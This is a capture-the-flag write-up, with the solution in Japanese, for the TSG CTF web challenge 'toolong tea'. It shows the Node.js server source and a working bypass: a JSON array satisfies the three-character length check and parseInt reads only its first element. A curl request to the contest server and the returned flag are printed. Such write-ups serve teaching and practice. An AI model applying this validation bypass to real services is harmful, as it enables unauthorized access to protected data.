toolong tea (100pt)
Recently it's getting colder in Tokyo which TSG is based in. Would you like to have a cup of hot oolong tea? It will warm up your body.
Hint for beginners
- First of all, please open the given website and play around with it. This challenge claims that you can get the flag by sending the number
65536
to the server, but it quickly turns out that the story isn't that simple. - Next, please read the attached source code. The file
server.js
contains the important logic of this website. The flag is stored in a variable calledflag
, so the purpose is to leak this value. - There is a bug which can be exploited to get the flag. Some knowledge of web technologies, especially JavaScript, may be required, so please refer to documentation such as MDN if necessary.
- You can run this website locally as usual Node.js app (
npm install && node server.js
), or via docker compose (docker compose up --build). - Note that you do not need a large volume of accesses to solve this problem. Please refrain from mass access similar to DoS.
import { serve } from "@hono/node-server"; import { serveStatic } from "@hono/node-server/serve-static"; import { Hono } from "hono"; const flag = process.env.FLAG ?? "TSGCTF{DUMMY}"; const app = new Hono(); app.get("*", serveStatic({ root: "./public" })); app.post("/", async (c) => { try { const { num } = await c.req.json(); if (num.length === 3 && [...num].every((d) => /\d/.test(d))) { const i = parseInt(num, 10); if (i === 65536) { return c.text(`Congratulations! ${flag}`); } return c.text("Please send 65536"); } if (num.length > 3) { return c.text("Too long!"); } return c.text("Please send 3-digit integer"); } catch { return c.text("Invalid JSON", 500); } }); serve({ fetch: app.fetch, port: 4932, });
point
num.length === 3
つまり,長さが3でないといけない
→この制限を外す必要があるparseInt(num, 10)
の仕組みを理解すること
solution
3桁というのは111
のような数値だけではない.
配列の長さというのは要素数として扱われる.
つまり,以下のように書くと長さは3になる.
$ node > [1,1,1].length 3
そこで,配列を使ってparseInt(num,10)
の動作を見てみる.
$ node > parseInt([1,2,3], 10); 1
配列の先頭の要素だけが返ってきた.
これは,parseInt()
が配列を受け取ると1,2,3
という文字列に変換しているため.
試しにやってみよう
$ node > parseInt("1,2,3", 10); 1
同じになった.
parseInt()
は先頭から数値を読んでいき,数字ではない場合はその前の数値までを扱う.
これを使ってFLAGをとってみよう.
$ curl -X POST http://34.84.32.212:4932 -d '{"num": [65536, 1, 2]}' Congratulations! TSGCTF{A_holy_night_with_no_dawn_my_dear...}
できました.
FLAG:TSGCTF{A_holy_night_with_no_dawn_my_dear...}